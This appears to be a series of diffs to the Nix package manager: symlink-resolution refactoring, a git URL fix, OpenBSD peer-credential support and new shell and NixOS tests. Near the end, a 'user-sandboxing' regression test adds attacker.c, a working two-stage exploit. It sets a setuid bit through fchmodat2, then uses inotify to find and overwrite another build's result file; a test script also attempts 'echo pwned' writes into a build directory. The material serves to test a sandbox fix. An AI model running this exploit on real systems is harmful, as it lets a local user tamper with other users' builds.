PathFilter & filter,
HashAlgorithm ha)
const CanonPath & path,
PathFilter & filter,
HashAlgorithm ha)
{
HashSink sink(ha);
dumpPath(path, sink, filter);
@@ -67,4 +67,42 @@ std::string SourceAccessor::showPath(const CanonPath & path)
return displayPrefix + path.abs() + displaySuffix;
}
CanonPath SourceAccessor::resolveSymlinks(
const CanonPath & path,
SymlinkResolution mode)
{
auto res = CanonPath::root;
int linksAllowed = 1024;
std::list<std::string> todo;
for (auto & c : path)
todo.push_back(std::string(c));
while (!todo.empty()) {
auto c = *todo.begin();
todo.pop_front();
if (c == "" || c == ".")
;
else if (c == "..")
res.pop();
else {
res.push(c);
if (mode == SymlinkResolution::Full || !todo.empty()) {
if (auto st = maybeLstat(res); st && st->type == SourceAccessor::tSymlink) {
if (!linksAllowed--)
throw Error("infinite symlink recursion in path '%s'", showPath(path));
auto target = readLink(res);
res.pop();
if (hasPrefix(target, "/"))
res = CanonPath::root;
todo.splice(todo.begin(), tokenizeString<std::list<std::string>>(target, "/"));
}
}
}
}
return res;
}
}

View File

@@ -9,6 +9,26 @@ namespace nix {
struct Sink;
/**
* Note there is a decent chance this type soon goes away because the problem is solved another way.
* See the discussion in https://github.com/NixOS/nix/pull/9985.
*/
enum class SymlinkResolution {
/**
* Resolve symlinks in the ancestors only.
*
* Only the last component of the result is possibly a symlink.
*/
Ancestors,
/**
* Resolve symlinks fully, realpath(3)-style.
*
* No component of the result will be a symlink.
*/
Full,
};
/**
* A read-only filesystem abstraction. This is used by the Nix
* evaluator and elsewhere for accessing sources in various
@@ -112,9 +132,9 @@ struct SourceAccessor
PathFilter & filter = defaultPathFilter);
Hash hashPath(
const CanonPath & path,
PathFilter & filter = defaultPathFilter,
HashAlgorithm ha = HashAlgorithm::SHA256);
const CanonPath & path,
PathFilter & filter = defaultPathFilter,
HashAlgorithm ha = HashAlgorithm::SHA256);
/**
* Return a corresponding path in the root filesystem, if
@@ -137,6 +157,17 @@ struct SourceAccessor
void setPathDisplay(std::string displayPrefix, std::string displaySuffix = "");
virtual std::string showPath(const CanonPath & path);
/**
* Resolve any symlinks in `path` according to the given
* resolution mode.
*
* @param mode might only be a temporary solution for this.
* See the discussion in https://github.com/NixOS/nix/pull/9985.
*/
CanonPath resolveSymlinks(
const CanonPath & path,
SymlinkResolution mode = SymlinkResolution::Full);
};
}

View File

@@ -62,44 +62,6 @@ bool SourcePath::operator<(const SourcePath & x) const
return std::tie(*accessor, path) < std::tie(*x.accessor, x.path);
}
SourcePath SourcePath::resolveSymlinks(SymlinkResolution mode) const
{
auto res = SourcePath(accessor);
int linksAllowed = 1024;
std::list<std::string> todo;
for (auto & c : path)
todo.push_back(std::string(c));
bool resolve_last = mode == SymlinkResolution::Full;
while (!todo.empty()) {
auto c = *todo.begin();
todo.pop_front();
if (c == "" || c == ".")
;
else if (c == "..")
res.path.pop();
else {
res.path.push(c);
if (resolve_last || !todo.empty()) {
if (auto st = res.maybeLstat(); st && st->type == InputAccessor::tSymlink) {
if (!linksAllowed--)
throw Error("infinite symlink recursion in path '%s'", path);
auto target = res.readLink();
res.path.pop();
if (hasPrefix(target, "/"))
res.path = CanonPath::root;
todo.splice(todo.begin(), tokenizeString<std::list<std::string>>(target, "/"));
}
}
}
}
return res;
}
std::ostream & operator<<(std::ostream & str, const SourcePath & path)
{
str << path.to_string();

View File

@@ -11,26 +11,6 @@
namespace nix {
/**
* Note there is a decent chance this type soon goes away because the problem is solved another way.
* See the discussion in https://github.com/NixOS/nix/pull/9985.
*/
enum class SymlinkResolution {
/**
* Resolve symlinks in the ancestors only.
*
* Only the last component of the result is possibly a symlink.
*/
Ancestors,
/**
* Resolve symlinks fully, realpath(3)-style.
*
* No component of the result will be a symlink.
*/
Full,
};
/**
* An abstraction for accessing source files during
* evaluation. Currently, it's just a wrapper around `CanonPath` that
@@ -123,14 +103,13 @@ struct SourcePath
bool operator<(const SourcePath & x) const;
/**
* Resolve any symlinks in this `SourcePath` according to the
* given resolution mode.
*
* @param mode might only be a temporary solution for this.
* See the discussion in https://github.com/NixOS/nix/pull/9985.
* Convenience wrapper around `SourceAccessor::resolveSymlinks()`.
*/
SourcePath resolveSymlinks(
SymlinkResolution mode = SymlinkResolution::Full) const;
SymlinkResolution mode = SymlinkResolution::Full) const
{
return {accessor, accessor->resolveSymlinks(path, mode)};
}
};
std::ostream & operator << (std::ostream & str, const SourcePath & path);

View File

@@ -171,16 +171,16 @@ std::string fixGitURL(const std::string & url)
std::regex scpRegex("([^/]*)@(.*):(.*)");
if (!hasPrefix(url, "/") && std::regex_match(url, scpRegex))
return std::regex_replace(url, scpRegex, "ssh://$1@$2/$3");
else {
if (url.find("://") == std::string::npos) {
return (ParsedURL {
.scheme = "file",
.authority = "",
.path = url
}).to_string();
} else
return url;
if (hasPrefix(url, "file:"))
return url;
if (url.find("://") == std::string::npos) {
return (ParsedURL {
.scheme = "file",
.authority = "",
.path = url
}).to_string();
}
return url;
}
// https://www.rfc-editor.org/rfc/rfc3986#section-3.1

View File

@@ -108,7 +108,7 @@ static void getAllExprs(EvalState & state,
const SourcePath & path, StringSet & seen, BindingsBuilder & attrs)
{
StringSet namesSorted;
for (auto & [name, _] : path.readDirectory()) namesSorted.insert(name);
for (auto & [name, _] : path.resolveSymlinks().readDirectory()) namesSorted.insert(name);
for (auto & i : namesSorted) {
/* Ignore the manifest.nix used by profiles. This is

View File

@@ -202,7 +202,11 @@ static PeerInfo getPeerInfo(int remote)
#if defined(SO_PEERCRED)
ucred cred;
# if defined(__OpenBSD__)
struct sockpeercred cred;
# else
ucred cred;
# endif
socklen_t credLen = sizeof(cred);
if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1)
throw SysError("getting peer credentials");
@@ -210,9 +214,9 @@ static PeerInfo getPeerInfo(int remote)
#elif defined(LOCAL_PEERCRED)
#if !defined(SOL_LOCAL)
#define SOL_LOCAL 0
#endif
# if !defined(SOL_LOCAL)
# define SOL_LOCAL 0
# endif
xucred cred;
socklen_t credLen = sizeof(cred);

View File

@@ -43,10 +43,16 @@ static json pathInfoToJSON(
for (auto & storePath : storePaths) {
json jsonObject;
auto printedStorePath = store.printStorePath(storePath);
try {
auto info = store.queryPathInfo(storePath);
// `storePath` has the representation `<hash>-x` rather than
// `<hash>-<name>` in case of binary-cache stores & `--all` because we don't
// know the name yet until we've read the NAR info.
printedStorePath = store.printStorePath(info->path);
jsonObject = info->toJSON(store, true, HashFormat::SRI);
if (showClosureSize) {
@@ -74,7 +80,7 @@ static json pathInfoToJSON(
jsonObject = nullptr;
}
jsonAllObjects[store.printStorePath(storePath)] = std::move(jsonObject);
jsonAllObjects[printedStorePath] = std::move(jsonObject);
}
return jsonAllObjects;
}

View File

@@ -124,7 +124,8 @@ struct CmdShell : InstallablesCommand, MixEnvironment
if (true)
pathAdditions.push_back(store->printStorePath(path) + "/bin");
auto propPath = CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages";
auto propPath = accessor->resolveSymlinks(
CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages");
if (auto st = accessor->maybeLstat(propPath); st && st->type == SourceAccessor::tRegular) {
for (auto & p : tokenizeString<Paths>(accessor->readFile(propPath)))
todo.push(store->parseStorePath(p));

View File

@@ -14,6 +14,14 @@ outPath=$(nix-build dependencies.nix --no-out-link)
nix copy --to file://$cacheDir $outPath
readarray -t paths < <(nix path-info --all --json --store file://$cacheDir | jq 'keys|sort|.[]' -r)
[[ "${#paths[@]}" -eq 3 ]]
for path in "${paths[@]}"; do
[[ "$path" =~ -dependencies-input-0$ ]] \
|| [[ "$path" =~ -dependencies-input-2$ ]] \
|| [[ "$path" =~ -dependencies-top$ ]]
done
# Test copying build logs to the binary cache.
expect 1 nix log --store file://$cacheDir $outPath 2>&1 | grep 'is not available'
nix store copy-log --to file://$cacheDir $outPath

View File

@@ -170,3 +170,45 @@ pathWithSubmodules=$(nix eval --impure --raw --expr "(builtins.fetchGit { url =
[[ -e $pathWithoutExportIgnore/exclude-from-root ]]
[[ -e $pathWithoutExportIgnore/sub/exclude-from-sub ]]
test_submodule_nested() {
local repoA=$TEST_ROOT/submodule_nested/a
local repoB=$TEST_ROOT/submodule_nested/b
local repoC=$TEST_ROOT/submodule_nested/c
rm -rf $repoA $repoB $repoC $TEST_HOME/.cache/nix
initGitRepo $repoC
touch $repoC/inside-c
git -C $repoC add inside-c
addGitContent $repoC
initGitRepo $repoB
git -C $repoB submodule add $repoC c
git -C $repoB add c
addGitContent $repoB
initGitRepo $repoA
git -C $repoA submodule add $repoB b
git -C $repoA add b
addGitContent $repoA
# Check non-worktree fetch
local rev=$(git -C $repoA rev-parse HEAD)
out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; rev = \"$rev\"; submodules = true; }).outPath")
test -e $out/b/c/inside-c
test -e $out/content
test -e $out/b/content
test -e $out/b/c/content
local nonWorktree=$out
# Check worktree based fetch
# TODO: make it work without git submodule update
git -C $repoA submodule update --init --recursive
out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; submodules = true; }).outPath")
find $out
[[ $out == $nonWorktree ]] || { find $out; false; }
}
test_submodule_nested

View File

@@ -0,0 +1,6 @@
source common.sh
# Test symlinks in zip files (#10649).
path=$(nix flake prefetch --json file://$(pwd)/tree.zip | jq -r .storePath)
[[ $(cat $path/foo) = foo ]]
[[ $(readlink $path/bar) = foo ]]

Binary file not shown.

View File

@@ -73,3 +73,6 @@ testCert missing fixed-output "$nocert"
# Cert in sandbox when ssl-cert-file is set to an existing file
testCert present fixed-output "$cert"
# Symlinks should be added in the sandbox directly and not followed
nix-sandbox-build symlink-derivation.nix

View File

@@ -16,6 +16,7 @@ nix_tests = \
flakes/absolute-attr-paths.sh \
flakes/build-paths.sh \
flakes/flake-in-submodule.sh \
flakes/prefetch.sh \
gc.sh \
nix-collect-garbage-d.sh \
remote-store.sh \

View File

@@ -1,6 +1,6 @@
with import ./config.nix;
{
rec {
hello = mkDerivation {
name = "hello";
outputs = [ "out" "dev" ];
@@ -24,6 +24,22 @@ with import ./config.nix;
'';
};
hello-symlink = mkDerivation {
name = "hello-symlink";
buildCommand =
''
ln -s ${hello} $out
'';
};
forbidden-symlink = mkDerivation {
name = "forbidden-symlink";
buildCommand =
''
ln -s /tmp/foo/bar $out
'';
};
salve-mundi = mkDerivation {
name = "salve-mundi";
outputs = [ "out" ];

View File

@@ -10,6 +10,11 @@ nix shell -f shell-hello.nix hello -c hello NixOS | grep 'Hello NixOS'
nix shell -f shell-hello.nix hello^dev -c hello2 | grep 'Hello2'
nix shell -f shell-hello.nix 'hello^*' -c hello2 | grep 'Hello2'
# Test output paths that are a symlink.
nix shell -f shell-hello.nix hello-symlink -c hello | grep 'Hello World'
# Test that symlinks outside of the store don't work.
expect 1 nix shell -f shell-hello.nix forbidden-symlink -c hello 2>&1 | grepQuiet "is not in the Nix store"
if isDaemonNewer "2.20.0pre20231220"; then
# Test that command line attribute ordering is reflected in the PATH

View File

@@ -0,0 +1,36 @@
with import ./config.nix;
let
foo_in_store = builtins.toFile "foo" "foo";
foo_symlink = mkDerivation {
name = "foo-symlink";
buildCommand = ''
ln -s ${foo_in_store} $out
'';
};
symlink_to_not_in_store = mkDerivation {
name = "symlink-to-not-in-store";
buildCommand = ''
ln -s ${builtins.toString ./.} $out
'';
};
in
mkDerivation {
name = "depends-on-symlink";
buildCommand = ''
(
set -x
# `foo_symlink` should be a symlink pointing to `foo_in_store`
[[ -L ${foo_symlink} ]]
[[ $(readlink ${foo_symlink}) == ${foo_in_store} ]]
# `symlink_to_not_in_store` should be a symlink pointing to `./.`, which
# is not available in the sandbox
[[ -L ${symlink_to_not_in_store} ]]
[[ $(readlink ${symlink_to_not_in_store}) == ${builtins.toString ./.} ]]
(! ls ${symlink_to_not_in_store}/)
)
echo "Success!" > $out
'';
}

View File

@@ -189,3 +189,9 @@ nix-env --set $outPath10
[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ]
nix-env --set $drvPath10
[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ]
# Test the case where $HOME contains a symlink.
mkdir -p $TEST_ROOT/real-home/alice/.nix-defexpr/channels
ln -sfn $TEST_ROOT/real-home $TEST_ROOT/home
ln -sfn $(pwd)/user-envs.nix $TEST_ROOT/home/alice/.nix-defexpr/channels/foo
HOME=$TEST_ROOT/home/alice nix-env -i foo-0.1

View File

@@ -145,6 +145,8 @@ in
githubFlakes = runNixOSTestFor "x86_64-linux" ./github-flakes.nix;
gitSubmodules = runNixOSTestFor "x86_64-linux" ./git-submodules.nix;
sourcehutFlakes = runNixOSTestFor "x86_64-linux" ./sourcehut-flakes.nix;
tarballFlakes = runNixOSTestFor "x86_64-linux" ./tarball-flakes.nix;
@@ -158,4 +160,6 @@ in
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
}

View File

@@ -0,0 +1,54 @@
# Test Nix's remote build feature.
{ lib, hostPkgs, ... }:
{
config = {
name = lib.mkDefault "git-submodules";
nodes =
{
remote =
{ config, pkgs, ... }:
{
services.openssh.enable = true;
environment.systemPackages = [ pkgs.git ];
};
client =
{ config, lib, pkgs, ... }:
{
programs.ssh.extraConfig = "ConnectTimeout 30";
environment.systemPackages = [ pkgs.git ];
nix.extraOptions = "experimental-features = nix-command flakes";
};
};
testScript = { nodes }: ''
# fmt: off
import subprocess
start_all()
# Create an SSH key on the client.
subprocess.run([
"${hostPkgs.openssh}/bin/ssh-keygen", "-t", "ed25519", "-f", "key", "-N", ""
], capture_output=True, check=True)
client.succeed("mkdir -p -m 700 /root/.ssh")
client.copy_from_host("key", "/root/.ssh/id_ed25519")
client.succeed("chmod 600 /root/.ssh/id_ed25519")
# Install the SSH key on the builders.
client.wait_for_unit("network.target")
remote.succeed("mkdir -p -m 700 /root/.ssh")
remote.copy_from_host("key.pub", "/root/.ssh/authorized_keys")
remote.wait_for_unit("sshd")
client.succeed(f"ssh -o StrictHostKeyChecking=no {remote.name} 'echo hello world'")
remote.succeed("git init bar && git -C bar config user.email foobar@example.com && git -C bar config user.name Foobar && echo test >> bar/content && git -C bar add content && git -C bar commit -m 'Initial commit'")
client.succeed(f"git init foo && git -C foo config user.email foobar@example.com && git -C foo config user.name Foobar && git -C foo submodule add root@{remote.name}:/tmp/bar sub && git -C foo add sub && git -C foo commit -m 'Add submodule'")
client.succeed("nix --flake-registry \"\" flake prefetch 'git+file:///tmp/foo?submodules=1&ref=master'")
'';
};
}

View File

@@ -187,9 +187,14 @@ in
client.succeed("nix flake metadata nixpkgs --tarball-ttl 0 >&2")
# Test fetchTree on a github URL.
hash = client.succeed(f"nix eval --raw --expr '(fetchTree {info['url']}).narHash'")
hash = client.succeed(f"nix eval --no-trust-tarballs-from-git-forges --raw --expr '(fetchTree {info['url']}).narHash'")
assert hash == info['locked']['narHash']
# Fetching without a narHash should succeed if trust-github is set and fail otherwise.
client.succeed(f"nix eval --raw --expr 'builtins.fetchTree github:github:fancy-enterprise/private-flake/{info['revision']}'")
out = client.fail(f"nix eval --no-trust-tarballs-from-git-forges --raw --expr 'builtins.fetchTree github:github:fancy-enterprise/private-flake/{info['revision']}' 2>&1")
assert "will not fetch unlocked input" in out, "--no-trust-tarballs-from-git-forges did not fail with the expected error"
# Shut down the web server. The flake should be cached on the client.
github.succeed("systemctl stop httpd.service")

View File

@@ -0,0 +1,82 @@
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#define SYS_fchmodat2 452
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
}
int main(int argc, char **argv) {
if (argc <= 1) {
// stage 1: place the setuid-builder executable
// make the build directory world-accessible first
chmod(".", 0755);
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
perror("Setting the suid bit on attacker");
exit(-1);
}
} else {
// stage 2: corrupt the victim derivation while it's building
// prevent the kill
if (setresuid(-1, -1, getuid())) {
perror("setresuid");
exit(-1);
}
if (fork() == 0) {
// wait for the victim to build
int fd = inotify_init();
inotify_add_watch(fd, argv[1], IN_CREATE);
int dirfd = open(argv[1], O_DIRECTORY);
if (dirfd < 0) {
perror("opening the global build directory");
exit(-1);
}
char buf[4096];
fprintf(stderr, "Entering the inotify loop\n");
for (;;) {
ssize_t len = read(fd, buf, sizeof(buf));
struct inotify_event *ev;
for (char *pe = buf; pe < buf + len;
pe += sizeof(struct inotify_event) + ev->len) {
ev = (struct inotify_event *)pe;
fprintf(stderr, "folder %s created\n", ev->name);
// wait a bit to prevent racing against the creation
sleep(1);
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
if (builddir < 0) {
perror("opening the build directory");
continue;
}
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
if (resultfile < 0) {
perror("opening the hijacked file");
continue;
}
int writeres = write(resultfile, "bad\n", 4);
if (writeres < 0) {
perror("writing to the hijacked file");
continue;
}
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
return 0;
}
}
}
exit(0);
}
}

View File

@@ -0,0 +1,129 @@
{ config, ... }:
let
pkgs = config.nodes.machine.nixpkgs.pkgs;
attacker = pkgs.runCommandWith {
name = "attacker";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./attacker.c}
'';
try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
chmod 700 .
# Shouldn't be able to open the root build directory
(! chmod 700 ..)
touch foo
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
touch $out
set +x
'';
create-hello-world = pkgs.writeScript "create-hello-world" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
echo "hello, world" > result
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
cp result $out
set +x
'';
in
{
name = "sandbox-setuid-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
nix.settings.substituters = lib.mkForce [ ];
nix.nrBuildUsers = 1;
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
boot.kernelPackages = pkgs.linuxPackages_latest;
users.users.alice = {
isNormalUser = true;
};
};
testScript = { nodes }: ''
start_all()
with subtest("A builder can't give access to its build directory"):
# Make sure that a builder can't change the permissions on its build
# directory to the point of opening it up to external users
# A derivation whose builder tries to make its build directory as open
# as possible and wait for someone to hijack it
machine.succeed(r"""
nix-build -v -E '
builtins.derivation {
name = "open-build-dir";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${try-open-build-dir}") ];
}' >&2 &
""".strip())
# Wait for the build to be ready
# This is OK because it runs as root, so we can access everything
machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
# But Alice shouldn't be able to access the build directory
machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
# Tell the user to finish the build
machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "innocent";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${create-hello-world}") ];
}' >&2 &
""".strip())
machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
# The build ran as `nixbld1` (which is the only build user on the
# machine), but a process running as `nixbld1` outside the sandbox
# shouldn't be able to touch the build directory regardless
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
# Finish the build
machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
# Check that the build was not affected
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}